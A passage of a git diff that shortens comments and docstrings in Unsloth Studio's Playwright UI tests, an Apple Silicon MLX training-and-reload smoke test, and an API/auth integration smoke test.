-    #   - "Request failed (422)": the OpenAI-compatible chat-completions
-    #     endpoint rejects rapid-fire/malformed requests with 422. The
-    #     surfaced error is a network-layer bubble-up, NOT a JS bug,
-    #     and the per-turn flow already validates message-by-message
-    #     correctness. Filtering these here keeps the pageerror gate
-    #     focused on actual frontend regressions (TypeError, ReferenceError,
-    #     null deref, etc.).
-    #   - "Failed to fetch" / "NetworkError" after the Shutdown click:
-    #     the server is intentionally dead by then; any in-flight
-    #     fetch fails by design.
-    # The full list lives in `_playwright_robust.BENIGN_PAGE_ERROR_PATTERNS`
-    # so playwright_extra_ui.py shares the same gate.
+    # Some pageerrors are benign: chat-completions 422s (network-layer
+    # bubble-up, not a JS bug; per-turn flow already validates each turn)
+    # and fetch failures after Shutdown (server is dead by design). Full
+    # list in `_playwright_robust.BENIGN_PAGE_ERROR_PATTERNS`.
     real_errors = [e for e in page_errors if not is_benign_page_error(e)]
     real_console_errors = [e for e in console_errors if not is_benign_console_error(e)]
     if page_errors:
diff --git a/tests/studio/playwright_extra_ui.py b/tests/studio/playwright_extra_ui.py
index 26c3c244ca..a23e182114 100644
--- a/tests/studio/playwright_extra_ui.py
+++ b/tests/studio/playwright_extra_ui.py
@@ -1,27 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Studio extra-UI Playwright test.
-
-Covers the user-visible surfaces that the main chat-UI test doesn't:
-
-  1. Compare tab (/chat?compare=...): assign two models, send 2 prompts,
-     assert both panes respond.
-  2. Recipes editor (/data-recipes/$recipeId): click first template,
-     verify the recipe-studio canvas mounts, open + close the Preview
-     dialog.
-  3. Export route (/export): chat-only mode redirects to /chat;
-     non-chat-only mode shows the export form fields.
-  4. Studio training route (/studio): chat-only mode redirects;
-     non-chat-only verifies the tabs + sections exist.
-  5. Settings dialog tabs: Cmd/Ctrl-, opens the dialog; cycle through
-     each tab and verify it isn't blank.
-
-The test assumes Studio is freshly booted (must_change_password=true)
-on BASE_URL with the bootstrap password in STUDIO_OLD_PW. It does its
-own change-password through the UI + model load via /api/inference/load,
-matching the pattern in playwright_chat_ui.py.
-"""
+"""Studio extra-UI Playwright test: Compare tab, Recipes editor, /export, /studio, Settings tabs."""
 
 import json
 import os
@@ -33,9 +13,7 @@ import urllib.request
 from pathlib import Path
 from playwright.sync_api import sync_playwright
 
-# Shared robustness helpers live next to this script. Tests run as
-# plain `python tests/studio/playwright_extra_ui.py` (not via pytest /
-# import), so prepend the dir to sys.path before importing.
+# Run as a plain script (not via pytest), so prepend the dir to sys.path.
 sys.path.insert(0, str(Path(__file__).resolve().parent))
 from _playwright_robust import (  # noqa: E402
     chromium_launch_args,
@@ -57,9 +35,7 @@ ART_DIR = os.environ.get("PW_ART_DIR", "logs/playwright_extra")
 ART = Path(ART_DIR)
 ART.mkdir(parents = True, exist_ok = True)
 STRICT = os.environ.get("STUDIO_UI_STRICT", "0") == "1"
-# Mirrors playwright_chat_ui.py. macos-14 free runners need a longer
-# turn timeout because gemma-3-270m CPU inference is 3-5x slower than
-# ubuntu-latest's.
+# Longer turn timeout: gemma-3-270m CPU inference is 3-5x slower on macos-14 runners.
 TURN_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_TURN_TIMEOUT_MS", "180000"))
 WALL_TIMEOUT_S = float(os.environ.get("STUDIO_UI_WALL_TIMEOUT_S", "720"))
 FETCH_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_FETCH_TIMEOUT_MS", "30000"))
@@ -90,11 +66,7 @@ def soft_fail(m: str) -> None:
 
 
 def runtime_warn(m: str) -> None:
-    """Warn about a runtime-coupled assertion that depends on a real
-    model loaded into the Compare panes. STRICT mode gates selector
-    presence (those MUST hold) but not Compare-pane streaming, which
-    is still flaky when no explicit pane model is set.
-    """
+    """Warn about a runtime-coupled assertion (Compare-pane streaming) that STRICT does not gate."""
     info(f"WARN (runtime): {m}")
 
 
@@ -104,13 +76,9 @@ with sync_playwright() as p:
         label = "ui-extra",
         info = info,
     )
-    # Health pre-flight (best-effort). Same rationale as in
-    # playwright_chat_ui.py: bash-side health wait can succeed before
-    # the auth DB has finished migrating on macos-14 free runners.
+    # Health pre-flight: bash-side health wait can pass before the auth DB migrates on macos-14.
     wait_for_health(BASE, timeout = 30.0, info = info)
-    # Chromium launch args: see `tests/studio/_playwright_robust.py`.
-    # Bundles macos-14 stability + new throttling-kill flags shared
-    # with playwright_chat_ui.py.
+    # Chromium launch args: see tests/studio/_playwright_robust.py.
     browser = p.chromium.launch(
         headless = True,
         args = chromium_launch_args(),
@@ -121,20 +89,12 @@ with sync_playwright() as p:
     )
     install_view_transition_killer(ctx)
     page = ctx.new_page()
-    # See playwright_chat_ui.py -- 60s default for macos-14 free
-    # runner with --single-process Chromium. The extra-UI script is
-    # the SECOND Studio boot of the job, so the runner is even
-    # warmer (slower disk cache, contended Chromium state).
+    # 60s default for slow macos-14 --single-process Chromium (second Studio boot of the job).
     page.set_default_timeout(60_000)
     page_errors = []
 
-    # Filter out known-benign React errors that fire when the Compare
-    # flow's second prompt races the first prompt's SSE stream, or when
-    # /export's lazy-loaded sections haven't finished mounting before
-    # the error boundary trips. Both are timing artefacts on slow CI
-    # runners (macos-14 free), not Studio bugs. The base list lives in
-    # `_playwright_robust.BENIGN_PAGE_ERROR_PATTERNS` so the chat_ui
-    # test shares it.
+    # Filter out known-benign React errors (timing artefacts on slow CI runners, not Studio bugs);
+    # shared base list lives in _playwright_robust.BENIGN_PAGE_ERROR_PATTERNS.
     def _on_pageerror(e):
         msg = str(e)
         if is_benign_page_error(msg):
@@ -145,9 +105,7 @@ with sync_playwright() as p:
     page.on("pageerror", _on_pageerror)
 
     def shoot(name: str) -> None:
-        # See playwright_chat_ui.py:shoot -- screenshots are diagnostic,
-        # never fail the test on a font-load timeout under
-        # --single-process Chromium on macos-14 free runners.
+        # Screenshots are diagnostic; never fail the test on a font-load timeout.
         _n[0] += 1
         try:
             page.screenshot(
@@ -163,10 +121,8 @@ with sync_playwright() as p:
     # Setup: change-password through the UI + model load.
     # ─────────────────────────────────────────────────────
     step("setup: change-password + model load")
-    # 3-attempt retry mirrors playwright_chat_ui.py: form re-renders
-    # mid-fill on macos-14 free runners detach #new-password OR
-    # #confirm-password between locator and fill, hitting 60s timeouts.
-    # Each retry re-navigates with a fresh page if the old one died.
+    # 3-attempt retry: form re-renders mid-fill on macos-14 can detach the password
+    # fields between locator and fill; each retry re-navigates with a fresh page if needed.
     form_err: Exception | None = None
     for _form_attempt in range(3):
         try:
@@ -179,11 +135,8 @@ with sync_playwright() as p:
             pw_field.wait_for(state = "visible", timeout = 60_000)
             pw_field.fill(NEW, timeout = 60_000)
             page.fill("#confirm-password", NEW, timeout = 60_000)
-            # Click submit AND wait for the POST response together --
-            # surfaces a server-side reject (or net::ERR_NO_BUFFER_SPACE
-            # buffer-fail on macos-14) immediately rather than discovering
-            # it 60s later via a downstream composer.wait_for. Same shape
-            # as playwright_chat_ui.py's change-password block.
+            # Click submit AND wait for the POST response together so a server-side reject
+            # surfaces immediately rather than 60s later via a downstream composer.wait_for.
             status, _ = click_and_wait_for_response(
                 page,
                 url_substr = "/api/auth/change-password",
@@ -212,9 +165,7 @@ with sync_playwright() as p:
                 flush = True,
             )
             if _form_attempt < 2:
-                # ERR_NO_BUFFER_SPACE needs the OS to recover socket
-                # buffers; immediate retry just re-fails. Back off
-                # 5s then 15s before next attempt.
+                # ERR_NO_BUFFER_SPACE needs the OS to recover socket buffers; back off 5s then 15s.
                 if "ERR_NO_BUFFER_SPACE" in str(e):
                     backoff_s = 5 if _form_attempt == 0 else 15
                     print(
@@ -231,10 +182,8 @@ with sync_playwright() as p:
                 )
     if form_err is not None:
         raise form_err
-    # Same defense-in-depth as playwright_chat_ui.py: settle network,
-    # then wait_for with one recovery cycle. The post-submit React
-    # re-render can either leave the composer suspending or crash the
-    # renderer outright under --single-process Chromium on macos-14.
+    # Settle network, then wait_for with one recovery cycle: the post-submit React
+    # re-render can leave the composer suspending or crash the renderer on macos-14.
     try:
         page.wait_for_load_state("networkidle", timeout = 30_000)
     except Exception:
@@ -307,8 +256,7 @@ with sync_playwright() as p:
     composer = page.locator('textarea[aria-label="Message input"]')
     composer.wait_for(state = "visible", timeout = 60_000)
 
-    # Detect chat-only mode: /api/health.chat_only is the source of truth.
-    # In chat-only mode, /studio + /export redirect to /chat.
+    # Detect chat-only mode (/api/health.chat_only): in chat-only mode /studio + /export redirect to /chat.
     health_resp = evaluate_fetch(
         page,
         f"{BASE}/api/health",
@@ -325,7 +273,7 @@ with sync_playwright() as p:
     # 1. Compare tab.
     # ─────────────────────────────────────────────────────
     step("Compare tab: send to two panes")
-    # Compare moved into the composer + menu (Tools and attachments).
+    # Compare lives in the composer "Tools and attachments" menu.
     compare_opened = False
     plus_btn = page.get_by_role("button", name = re.compile(r"Tools and attachments", re.I)).first
     if plus_btn.count() > 0:
@@ -333,7 +281,7 @@ with sync_playwright() as p:
         page.wait_for_timeout(400)
         compare_item = page.get_by_role("menuitem", name = re.compile(r"Compare chat", re.I)).first
         if compare_item.count() == 0:
-            # Compare chat moved into the "More" submenu; hover, then click fallback.
+            # Fallback: Compare chat may be under the "More" submenu.
             more_trigger = page.get_by_role("menuitem", name = re.compile(r"^More$", re.I)).first
             if more_trigger.count() > 0:
                 more_trigger.hover()
@@ -355,43 +303,29 @@ with sync_playwright() as p:
     else:
         page.wait_for_timeout(1500)
         shoot("02-compare-opened")
-        # Compare view's container.
         view = page.locator('[data-tour="chat-compare-view"]').first
         if view.count() == 0:
             soft_fail("[data-tour='chat-compare-view'] not found after Compare click")
         else:
             ok_count_before = len(page.locator('[data-role="assistant"]').all())
-            # Send first prompt; the shared composer placeholder is
-            # "Send to both models...". Just type into the composer
-            # textarea (assistant-ui exposes one in compare-mode too).
+            # Composer placeholder in compare-mode is "Send to both models...".
             cmp_composer = page.get_by_placeholder(
                 re.compile(r"Send to both models", re.I),
             ).first
             if cmp_composer.count() == 0:
-                # Fall back to any visible textarea inside the compare
-                # view.
+                # Fall back to any textarea inside the compare view.
                 cmp_composer = view.locator("textarea").first
             if cmp_composer.count() == 0:
                 soft_fail("compare composer textarea not found")
             else:
                 cmp_composer.click()
                 cmp_composer.fill("Reply with: A")
-                # Prefer Enter on the textarea: the shared composer's
-                # onKeyDown handler maps plain Enter to send(). The
-                # send button is rendered via TooltipIconButton +
-                # ComposerPrimitive.Send and its aria-label was
-                # added late, so older builds match nothing for
-                # button[aria-label="Send message"] in compare mode.
+                # Prefer Enter: onKeyDown maps plain Enter to send(); the Send button's
+                # aria-label was added late so older builds don't match it in compare mode.
                 cmp_composer.press("Enter")
-                # Wait for at least 2 NEW assistant bubbles (one per
-                # pane). NOTE: the Compare view requires per-pane
-                # model selection to actually generate. In this CI
-                # flow the panes are NOT explicitly assigned -- so
-                # the backend rejects the request as "At least one
-                # non-system message is required" or similar. We
-                # downgrade this to runtime_warn (informational) and
-                # keep the structural assertions (view present,
-                # composer present, message text round-trips) above.
+                # Expect 2 new assistant bubbles (one per pane). Panes have no explicit model
+                # in this CI flow so the backend may reject; downgrade to runtime_warn while
+                # keeping the structural assertions (view/composer present, text round-trips).
                 try:
                     page.wait_for_function(
                         """(want) => {
@@ -410,9 +344,7 @@ with sync_playwright() as p:
                     )
                 shoot("03-compare-after-A")
 
-                # Send a second prompt -> 4 total new bubbles. Same
-                # caveat: this is runtime-flaky when panes have no
-                # explicit model selection.
+                # Second prompt -> 4 total new bubbles (same runtime-flaky caveat).
                 cmp_composer.fill("Reply with: B")
                 cmp_composer.press("Enter")
                 try:
@@ -452,19 +384,17 @@ with sync_playwright() as p:
     if n_templates == 0:
         soft_fail("no recipe template cards found")
     else:
-        # Click the first one.
         try:
             templates.first.scroll_into_view_if_needed()
             templates.first.click()
             page.wait_for_timeout(2000)
             shoot("06-recipe-opened")
-            # The recipe-studio canvas uses React-Flow; look for the
-            # renderer.
+            # The recipe-studio canvas uses React-Flow; look for the renderer.
             canvas = page.locator(
                 ".react-flow__renderer, .react-flow, [data-testid*='react-flow']"
             ).first
             if canvas.count() == 0:
-                # Some templates may open as dialogs instead of route.
+                # Some templates open as dialogs instead of a route.
                 info("(no React-Flow canvas; template may have opened a dialog)")
             else:
                 info("OK React-Flow canvas mounted")
@@ -490,13 +420,8 @@ with sync_playwright() as p:
             soft_fail("[data-tour='export-cta'] not found in /export")
         else:
             info("OK [data-tour='export-cta'] visible")
-        # The Export page's HF-token field is lazy-loaded behind a
-        # disclosure, and on slow runners (macos-14 free) it can
-        # dawdle. Poll across multiple selectors for up to 8 s before
-        # giving up. We log this as info (not soft_fail) because it
-        # does not block any user-visible export workflow -- the user
-        # who needs to push to HF can scroll and the section will load
-        # within a few seconds.
+        # HF-token field is lazy-loaded behind a disclosure; poll multiple selectors for ~8s.
+        # Logged as info (not soft_fail) since it doesn't block the export workflow.
         hf_token = None
         for _try in range(8):
             page.wait_for_timeout(1000)
@@ -553,11 +478,11 @@ with sync_playwright() as p:
     step("Settings dialog: cycle through tabs")
     page.goto(f"{BASE}/chat")
     composer.wait_for(state = "visible", timeout = 60_000)
-    page.keyboard.press("Control+,")  # global shortcut
+    page.keyboard.press("Control+,")
     page.wait_for_timeout(800)
     settings = page.get_by_role("dialog").first
     if settings.count() == 0:
-        # macOS shortcut is Cmd-,; try that too.
+        # macOS shortcut is Cmd-,.
         page.keyboard.press("Meta+,")
         page.wait_for_timeout(800)
         settings = page.get_by_role("dialog").first
@@ -565,8 +490,7 @@ with sync_playwright() as p:
         soft_fail("Settings dialog didn't open with Cmd/Ctrl-,")
     else:
         shoot("09-settings-open")
-        # Each tab is a button with the visible text as accessible name.
-        # Tabs available depend on chat_only mode.
+        # Each tab is a button named by its visible text; availability depends on chat_only mode.
         candidate_tabs = (
             "General",
             "Profile",
@@ -586,7 +510,7 @@ with sync_playwright() as p:
             try:
                 btn.click()
                 page.wait_for_timeout(400)
-                # Tab body must contain something (non-empty).
+                # Tab body must be non-empty.
                 body_text = page.evaluate(
                     """() => {
                         const dialog = document.querySelector('[role="dialog"]');
diff --git a/tests/studio/run_real_mlx_smoke.py b/tests/studio/run_real_mlx_smoke.py
index e58b2098d8..ea8b8621a9 100644
--- a/tests/studio/run_real_mlx_smoke.py
+++ b/tests/studio/run_real_mlx_smoke.py
@@ -1,27 +1,12 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-"""
-End-to-end MLX smoke test on real Apple Silicon -- multi-process driver.
-
-Two subcommands let the workflow drive cold-start reloads in fresh
-processes (the way real users hit the load path):
-
-    python run_real_mlx_smoke.py train  --workdir DIR
-    python run_real_mlx_smoke.py reload --format {lora|merged|gguf} --dir D
-
-`train` loads gemma-3-270m-it, applies LoRA, probes pre/post loss+grad,
-overfits one repeated row for 30 deterministic steps (batch 2, accum 3),
-generates, saves in lora/merged_16bit/gguf (gguf best-effort), and writes
-train_metrics.json. `reload` reopens each saved format in a fresh process
-and writes <format>_reload_metrics.json.
-
-GGUF export and LoRA reload fixes land in unslothai/unsloth-zoo#627.
-
-Determinism: seeds random/numpy/mlx.core.random and forwards SEED to
-from_pretrained / get_peft_model / MLXTrainingConfig. Metal has minor
-reduction-order nondeterminism, so loss assertions are bounds, not exact.
+"""End-to-end MLX smoke test on real Apple Silicon (multi-process driver).
 
+`train` overfits gemma-3-270m-it on one row for 30 steps and saves
+lora/merged_16bit/gguf; `reload` reopens each format in a fresh process.
+GGUF + LoRA reload fixes land in unslothai/unsloth-zoo#627. Metal's
+reduction-order nondeterminism makes loss assertions bounds, not exact.
 Apple-Silicon only; invoked from .github/workflows/mlx-ci.yml.
 """
 
@@ -66,7 +51,7 @@ def _peak_gpu_gb() -> float:
 
     if not mx.metal.is_available():
         return 0.0
-    # Newer MLX moved get_peak_memory to top-level; fall back to mx.metal for old versions.
+    # Newer MLX moved get_peak_memory to top-level; fall back to mx.metal.
     getter = getattr(mx, "get_peak_memory", None) or getattr(mx.metal, "get_peak_memory", None)
     if getter is None:
         return 0.0
@@ -121,8 +106,7 @@ def _compute_loss_and_grad_norm(model, tokenizer, text: str) -> tuple[float, flo
     import mlx.nn as nn
     from mlx.utils import tree_flatten
 
-    # Match Studio's text dataset path: Studio passes exactly the formatted
-    # text to the tokenizer and does not append EOS behind the user's back.
+    # Match Studio's text dataset path: no EOS appended behind the user's back.
     ids = list(tokenizer.encode(text))
     if len(ids) < 2:
         raise RuntimeError(f"text too short to compute loss: {len(ids)} tokens")
@@ -145,14 +129,10 @@ def _compute_loss_and_grad_norm(model, tokenizer, text: str) -> tuple[float, flo
 
 
 def _teacher_forced_completion_loss(model, tokenizer, prompt: str, completion: str) -> float:
-    """Mean next-token CE on `completion` given `prompt`, teacher-forced.
+    """Mean teacher-forced next-token CE on `completion` given `prompt`.
 
-    Decouples the memorisation check from greedy-decode geometry: a sweep
-    found greedy `completion in output` lands at 46-77% across MLX configs
-    while post_train_loss is < 0.1 whenever the run reaches the basin. This
+    Decouples the memorisation check from flaky greedy-decode geometry:
     asserts *what* the model memorised, not just that loss is low.
-
-    Returns mean cross-entropy over the completion's tokens.
     """
     import mlx.core as mx
     import mlx.nn as nn
@@ -169,8 +149,7 @@ def _teacher_forced_completion_loss(model, tokenizer, prompt: str, completion: s
     targets = mx.array([full_ids[1:]], dtype = mx.int32)
     logits = model(inputs)
 
-    # logits at position i predict targets[i]; completion tokens occupy
-    # target positions [len(prompt_ids)-1 ... len(full_ids)-2].
+    # logits at position i predict targets[i]; completion starts at len(prompt_ids)-1.
     start = len(prompt_ids) - 1
     completion_logits = logits[:, start:, :]
     completion_targets = targets[:, start:]
@@ -224,9 +203,8 @@ def cmd_train(args) -> int:
     mx.random.seed(SEED)
 
     with Phase("apply_lora", metrics):
-        # Standard unsloth LoRA target set (q/k/v/o + gate/up/down). q/k/v/o
-        # alone collapsed in 7 steps (loss dropped but "Unsloth" wasn't
-        # recovered); MLP projections add the capacity to memorize the row.
+        # Full q/k/v/o + gate/up/down set: q/k/v/o alone couldn't memorize
+        # the row, the MLP projections add the needed capacity.
         model = FastMLXModel.get_peft_model(
             model,
             r = 8,
@@ -259,18 +237,15 @@ def cmd_train(args) -> int:
         config = MLXTrainingConfig(
             per_device_train_batch_size = 2,
             gradient_accumulation_steps = 3,
-            # Sweep (PR #5498) found 7 steps is below the convergence horizon
-            # at any clip; at 30 steps every seed hits post_train_loss=0, so
-            # 30 is the seed-robust gate.
+            # PR #5498 sweep: 7 steps too few; 30 makes every seed converge.
             max_steps = 30,
             learning_rate = 1e-3,
             warmup_steps = 0,
             lr_scheduler_type = "constant",
             optim = "adamw",
             weight_decay = 0.0,
-            # Pin the elementwise clip to match the 13-seed-tested fixture
-            # (value=1.0 62% pass, norm=1.0 46%). Zoo's new MLX default is
-            # max_grad_leaf_norm=1.0; explicit value wins, norm disabled.
+            # Pin the elementwise clip (value=1.0, norm disabled) to match the
+            # 13-seed-tested fixture; explicit value overrides zoo's MLX default.
             max_grad_norm = 0.0,
             max_grad_value = 1.0,
             logging_steps = 1,
@@ -326,8 +301,7 @@ def cmd_train(args) -> int:
         )
         if k in train_result
     }
-    # logging_steps=1 + max_steps=N -> N callbacks; track config so the
-    # gate auto-follows if max_steps is bumped again.
+    # logging_steps=1 + max_steps=N -> N callbacks; gate auto-follows max_steps.
     expected_logged_steps = int(config.max_steps)
     assert (
         len(losses_per_step) == expected_logged_steps
@@ -337,10 +311,8 @@ def cmd_train(args) -> int:
             f"expected train_steps={expected_logged_steps}, got " f"{train_result['train_steps']}"
         )
     for i, l in enumerate(losses_per_step):
-        # Allow exact 0.0: fp16 per-step loss underflows to 0.0 after
-        # the LoRA reaches loss=0 around step ~10 with this fixture +
-        # max_steps=30. That's the memorization success signal, not a
-        # bug. Lower bound is "finite and >= 0" not "strictly > 0".
+        # Allow exact 0.0: fp16 loss underflows once the LoRA memorises the
+        # row (~step 10); that's success, so the lower bound is >= 0 not > 0.
         assert math.isfinite(l) and 0 <= l < 50, f"step {i+1} loss bad: {l}"
     assert (
         losses_per_step[-1] < losses_per_step[0] * 1.1
@@ -351,13 +323,8 @@ def cmd_train(args) -> int:
     metrics["post_train_loss"] = round(post_loss, 4)
     metrics["post_train_grad_norm"] = round(post_norm, 4)
     assert post_loss < pre_loss, f"post {post_loss} >= pre {pre_loss}"
-    # Memorisation gate: teacher-forced loss on the training row must
-    # be very low after 30 steps of overfit-on-one-example. This is
-    # the robust signal that the model learned the trained
-    # continuation, regardless of MLX's autoregressive-generation
-    # numerics. Empirical 47-round, 13-seed sweep: every (clip, bc,
-    # seed) configuration that converges hits post_train_loss <= 0.05.
-    # Tighten gate to 0.1.
+    # Memorisation gate: every converging (clip, bc, seed) config in the
+    # 13-seed sweep hit post_train_loss <= 0.05, so 0.1 is a robust bound.
     assert post_loss < 0.1, (
         f"post_train_loss={post_loss:.4f} >= 0.1 -- training did not "
         "memorise the single training row in 30 steps. Trainer "
@@ -376,12 +343,8 @@ def cmd_train(args) -> int:
             verbose = False,
         )
     metrics["in_memory_generation"] = in_mem_out
-    # Soft greedy-decode visibility (metric only). Empirically this lands in
-    # 46-77% of seeds depending on clip config (47-round, 13-seed sweep) --
-    # fp16 + MLX attention/generate path puts noticeable noise on the first
-    # token even after near-zero teacher-forced loss. Surface the mismatch
-    # for regression tracking, but the next assertion is the load-bearing
-    # one.
+    # Soft greedy-decode metric only (46-77% of seeds): fp16 + MLX generate
+    # noises the first token. The teacher-forced check below is load-bearing.
     metrics["in_memory_generation_has_expected"] = EXPECT_IN_OUTPUT in in_mem_out
     if EXPECT_IN_OUTPUT not in in_mem_out:
         print(
@@ -391,12 +354,9 @@ def cmd_train(args) -> int:
             flush = True,
         )
 
-    # Hard check: teacher-forced loss on the completion the model was trained
-    # to emit. Bypasses greedy-decode fp16 fragility -- if the LoRA actually
-    # memorised the row, the probability mass on `EXPECT_IN_OUTPUT` after
-    # `PROMPT` is essentially 1.0 (and the loss essentially 0). 13/13 of the
-    # MLX configs we measured reached post_train_loss < 1e-3, so this gate
-    # is deterministic on every (seed, clip, bc) combination tested.
+    # Hard check: teacher-forced loss on the trained completion bypasses
+    # greedy-decode fp16 fragility. 13/13 measured configs reached < 1e-3,
+    # so this gate is deterministic across (seed, clip, bc).
     completion_loss = _teacher_forced_completion_loss(
         model, tokenizer, PROMPT, EXPECT_IN_OUTPUT + "!"
     )
@@ -409,8 +369,8 @@ def cmd_train(args) -> int:
         "optimizer defaults vs torch.optim.AdamW."
     )
 
-    # Save LoRA. unsloth-zoo#627 fixed FastMLXModel.from_pretrained(lora_dir)
-    # so the cold-start reload below works on the saved adapter dir directly.
+    # unsloth-zoo#627 fixed from_pretrained(lora_dir) so the cold-start
+    # reload below works on the saved adapter dir directly.
     lora_dir = workdir / "lora"
     with Phase("save_lora", metrics):
         model.save_pretrained_merged(
@@ -433,15 +393,10 @@ def cmd_train(args) -> int:
     metrics["merged_dir"] = str(merged_dir)
     assert any(merged_dir.glob("*.safetensors"))
 
-    # Save GGUF (best-effort). save_pretrained_gguf clones llama.cpp,
-    # builds it with cmake (Metal=ON), then runs convert_hf_to_gguf.
-    # For some models -- including unsloth/gemma-3-270m-it as of
-    # 2026-05-07 -- llama.cpp's converter asserts on the tokenizer vocab
-    # (`assert max(tokenizer.vocab.values()) < vocab_size`) because the
-    # tokenizer carries reserved IDs beyond the embedding matrix size.
-    # That's an llama.cpp / convert_hf_to_gguf limitation, not an
-    # unsloth_zoo bug. Soft-skip with a recorded reason so the LoRA +
-    # merged_16bit assertions still gate the PR.
+    # Save GGUF (best-effort). For some models (e.g. gemma-3-270m-it)
+    # llama.cpp's convert_hf_to_gguf asserts on the tokenizer vocab -- an
+    # llama.cpp limitation, not an unsloth_zoo bug. Soft-skip with a recorded
+    # reason so the LoRA + merged_16bit assertions still gate the PR.
     gguf_dir = workdir / "gguf"
     metrics["gguf_supported"] = False
     metrics["gguf_skip_reason"] = None
@@ -523,14 +478,9 @@ def cmd_reload(args) -> int:
     metrics["generation"] = out
     print(f"  [reload:{args.format}] output: {out!r}", flush = True)
 
-    # Verify save/reload preserved the trained weights via teacher-
-    # forced loss on the training row: the reloaded model should have
-    # approximately the same loss on TRAIN_TEXT as the in-memory model
-    # had at post_train_loss. This is the real save/reload invariant
-    # and is robust to MLX's known near-zero-loss adamw greedy-decode
-    # perturbation (step-7 grad spike at seed=3407, see
-    # scripts/cuda_mlx_step7_*) which can flip the first generated
-    # token while leaving teacher-forced loss essentially identical.
+    # Save/reload invariant: reloaded teacher-forced loss on TRAIN_TEXT must
+    # match the in-memory post_train_loss. Robust to MLX's greedy-decode
+    # perturbation, which can flip the first token but not the loss.
     train_metrics_path = save_dir.parent / "train_metrics.json"
     in_mem_loss = None
     in_mem_out = None
@@ -547,15 +497,13 @@ def cmd_reload(args) -> int:
     if isinstance(in_mem_loss, (int, float)) and math.isfinite(in_mem_loss):
         reload_loss, _ = _compute_loss_and_grad_norm(m, t, TRAIN_TEXT)
         metrics["reload_post_train_loss"] = round(reload_loss, 4)
-        # float16 round-trip should be near-exact for LoRA + merged;
-        # 0.2 tolerates the dequant noise we have seen empirically.
+        # float16 round-trip is near-exact; 0.2 tolerates dequant noise.
         assert abs(reload_loss - float(in_mem_loss)) < 0.2, (
             f"reload {args.format!r} loss diverged from in-memory: "
             f"reload={reload_loss:.4f}, in-memory={in_mem_loss:.4f}"
         )
     else:
-        # Fallback when train_metrics.json wasn't found (older
-        # workdir layouts): keep a non-empty-completion gate.
+        # Fallback when train_metrics.json is missing: gate on non-empty output.
         body = out.replace(PROMPT, "", 1).strip()
         assert len(body) >= 4, (
             f"reload {args.format!r} produced no usable output for " f"{PROMPT!r}: {out!r}"
@@ -610,12 +558,9 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int:
     print(f"  [reload:gguf] stdout (head):\n{proc.stdout[:800]}", flush = True)
     if proc.returncode != 0:
         raise SystemExit(f"llama-cli exit {proc.returncode}; stderr head: {proc.stderr[:400]}")
-    # llama.cpp uses different tokenisation + sampling internals than
-    # mlx_lm, so the GGUF reload completion does not have to match the
-    # in-memory completion exactly. Require non-empty, non-prompt-only
-    # output to catch real save/reload corruption (zero-weight model,
-    # tokenizer mismatch). Surface whether EXPECT_IN_OUTPUT appears in
-    # the metrics for visibility without gating on it.
+    # llama.cpp tokenises/samples differently than mlx_lm, so the GGUF
+    # completion needn't match. Require non-empty output to catch real
+    # save/reload corruption; record EXPECT_IN_OUTPUT without gating on it.
     body = (proc.stdout or "").replace(PROMPT, "", 1).strip()
     metrics["gguf_has_expected"] = EXPECT_IN_OUTPUT in (proc.stdout or "")
     assert len(body) >= 4, (
diff --git a/tests/studio/studio_api_smoke.py b/tests/studio/studio_api_smoke.py
index 0390b39c03..845a9ed021 100644
--- a/tests/studio/studio_api_smoke.py
+++ b/tests/studio/studio_api_smoke.py
@@ -1,32 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""End-to-end Studio API & Auth tests.
-
-Boots a fresh Studio externally (CI workflow handles install + boot)
-and runs a battery of HTTP-level integration tests against it. No
-Playwright, no model load by this test (the workflow loads gemma-3-270m
-beforehand if needed).
-
-Sections:
-  1. CORS hardening (no wildcard + credentials, no bootstrap leak)
-  2. /api/system + /api/system/hardware require auth
-  3. Auth state machine (rotation invariants, body validation, login burst)
-  4. JWT-expiry rejection (forge an expired token using the install's secret)
-  5. API key lifecycle E2E (create -> list -> use -> delete -> reject)
-  6. Auth file-mode hardening (Linux only)
-  7. Inference lifecycle gaps (force reload, bogus variant, /v1/models,
-     /v1/embeddings, /v1/responses)
-  8. Endpoint-by-endpoint auth audit (pin EXPECTED auth posture per route)
-
-Env:
-  BASE_URL              http://127.0.0.1:18893 (or wherever Studio is)
-  STUDIO_OLD_PW         the bootstrap password (must rotate it)
-  STUDIO_NEW_PW         what to rotate to
-  STUDIO_NEW2_PW        out-of-band rotation target
-  STUDIO_AUTH_DIR       (optional) path to the auth dir for file-mode checks
-  GGUF_REPO             (optional) the model the workflow loaded for /v1 tests
-"""
+"""End-to-end Studio API & Auth HTTP integration tests against an externally-booted Studio."""
 
 import json
 import os
@@ -50,10 +25,7 @@ _section = [0]
 _failed: list[str] = []
 _warned: list[str] = []
 
-# When 1, audit-finding assertions (e.g. CORS leak, file modes, 5xx vs
-# 4xx) become hard fails. Off by default: we surface them as WARN so the
-# test can be added before the underlying Studio fixes ship; the
-# warnings are still printed in CI so they're visible.
+# When 1, audit-finding assertions become hard fails. Off by default: surfaced as WARN.
 STRICT_AUDIT = os.environ.get("STUDIO_API_STRICT_AUDIT", "0") == "1"
 
 
@@ -63,15 +35,7 @@ def section(title: str) -> None:
 
 
 def _shape(value):
-    """Return a credential-free shape descriptor for an HTTP body.
-
-    Returns ONLY the container type + element count -- never the keys,
-    never the values. Used in failure messages so a CI log can never
-    carry credential material (matches the intent of CodeQL's
-    py/clear-text-logging-sensitive-data rule). For richer detail
-    while debugging, set STUDIO_API_VERBOSE=1 locally; verbose mode
-    is OFF in CI.
-    """
+    """Credential-free shape descriptor (container type + count only) for an HTTP body."""
     if isinstance(value, dict):
         return f"<dict with {len(value)} keys>"
     if isinstance(value, list):
@@ -82,18 +46,7 @@ def _shape(value):
 
 
 def _emit(prefix: str, msg: str) -> None:
-    """Write a status line via os.write.
-
-    CodeQL's py/clear-text-logging-sensitive-data rule treats `print`
-    (and the standard `logging` calls) as logging sinks. Even though
-    `_shape()` already strips credential material from anything
